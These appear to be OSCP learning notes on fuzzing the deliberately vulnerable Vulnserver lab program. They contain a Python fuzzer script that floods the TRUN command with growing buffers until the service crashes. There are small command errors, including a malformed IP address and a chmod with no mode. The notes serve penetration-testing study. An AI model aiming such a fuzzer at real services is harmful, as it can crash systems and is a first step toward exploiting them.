OSCP Learning Notes - Buffer Overflows(1)

Introduction to Buffer Overflows

Anatomy of Memory

Anatomy of the Stack

Fuzzing

Tools: Vulnserver - https://github.com/stephenbradshaw/vulnserver

Immunity Debuger - https://www.immunityinc.com/products/debugger/

Vulnserver Test

1. Open the vulnserver program on windows os.

2. Connect to the vulnserver from Kali Linux.

nc -nv 10.0..XX 

3.Write the Python fuzzer test script on Kali Linux

 #!/usr/bin/python
 import socket
 import sys
 
 buffer=["A"]
 counter=100
 while len(buffer) <= 30:
     buffer.append("A"*counter)
     counter=counter+200
 
 for string in buffer:
     print "Fuzzing vulnserver with %s bytes" % len(string)
     s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     connect=s.connect(('10.0.0.XX',9999))
     s.send('TRUN /.:/' + string)
     s.close()

Grant the rights to the script file and execute the fuzzer.py.

chmod  fuzzer.py
./fuzzer.py

The vulnserver crashed with 5900 bytes.

Immunity Debuger

GUI Screenshoot

Open or attach the vulnserver program.

Perform the fuzzer.py on Kali Linux.

./fuzzer.py

The vulnserver crashed finally.